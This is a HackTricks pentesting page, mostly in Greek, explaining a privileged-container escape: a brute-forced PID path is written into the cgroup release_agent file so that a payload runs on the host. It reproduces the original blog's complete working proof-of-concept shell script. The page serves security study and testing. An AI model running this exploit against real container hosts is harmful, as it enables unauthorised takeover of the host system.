release_agent exploit - Relative Paths to PIDs

Support HackTricks

Για περισσότερες λεπτομέρειες ελέγξτε την ανάρτηση του blog από https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Αυτό είναι απλώς μια περίληψη:

Η τεχνική περιγράφει μια μέθοδο για την εκτέλεση κώδικα του host από μέσα σε ένα container, ξεπερνώντας τις προκλήσεις που θέτουν οι ρυθμίσεις του storage-driver που θολώνουν τη διαδρομή του filesystem του container στον host, όπως οι Kata Containers ή συγκεκριμένες ρυθμίσεις devicemapper.

Βασικά βήματα:

  1. Εντοπισμός Ταυτοτήτων Διαδικασιών (PIDs): Χρησιμοποιώντας τον συμβολικό σύνδεσμο /proc/<pid>/root στο ψευδο-σύστημα αρχείων Linux, οποιοδήποτε αρχείο εντός του container μπορεί να προσπελαστεί σε σχέση με το filesystem του host. Αυτό παρακάμπτει την ανάγκη να γνωρίζουμε τη διαδρομή του filesystem του container στον host.

  2. PID Bashing: Χρησιμοποιείται μια προσέγγιση brute force για να αναζητηθούν PIDs στον host. Αυτό γίνεται ελέγχοντας διαδοχικά την παρουσία ενός συγκεκριμένου αρχείου στο /proc/<pid>/root/<file>. Όταν βρεθεί το αρχείο, υποδεικνύει ότι η αντίστοιχη PID ανήκει σε μια διαδικασία που εκτελείται μέσα στο στοχευμένο container.

  3. Ενεργοποίηση Εκτέλεσης: Η μαντεμένη διαδρομή PID γράφεται στο αρχείο cgroups release_agent. Αυτή η ενέργεια ενεργοποιεί την εκτέλεση του release_agent. Η επιτυχία αυτού του βήματος επιβεβαιώνεται ελέγχοντας τη δημιουργία ενός αρχείου εξόδου.

Διαδικασία Εκμετάλλευσης

Η διαδικασία εκμετάλλευσης περιλαμβάνει ένα πιο λεπτομερές σύνολο ενεργειών, με στόχο την εκτέλεση ενός payload στον host μαντεύοντας τη σωστή PID μιας διαδικασίας που εκτελείται μέσα στο container. Να πώς εξελίσσεται:

  1. Αρχικοποίηση Περιβάλλοντος: Ένα script payload (payload.sh) προετοιμάζεται στον host και δημιουργείται ένας μοναδικός φάκελος για την παρακολούθηση cgroup.

  2. Προετοιμασία Payload: Το script payload, το οποίο περιέχει τις εντολές που θα εκτελούνται στον host, γράφεται και καθίσταται εκτελέσιμο.

  3. Ρύθμιση Cgroup: Το cgroup τοποθετείται και ρυθμίζεται. Η σημαία notify_on_release ρυθμίζεται για να διασφαλίσει ότι το payload εκτελείται όταν το cgroup απελευθερωθεί.

  4. Brute Force PID: Ένας βρόχος επαναλαμβάνει τις πιθανές PIDs, γράφοντας κάθε μαντεμένη PID στο αρχείο release_agent. Αυτό ουσιαστικά ορίζει το script payload ως το release_agent.

  5. Ενεργοποίηση και Έλεγχος Εκτέλεσης: Για κάθε PID, το cgroup.procs του cgroup γράφεται, ενεργοποιώντας την εκτέλεση του release_agent αν η PID είναι σωστή. Ο βρόχος συνεχίζεται μέχρι να βρεθεί η έξοδος του script payload, υποδεικνύοντας επιτυχημένη εκτέλεση.

PoC από την ανάρτηση του blog:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Υποστήριξη HackTricks

Last updated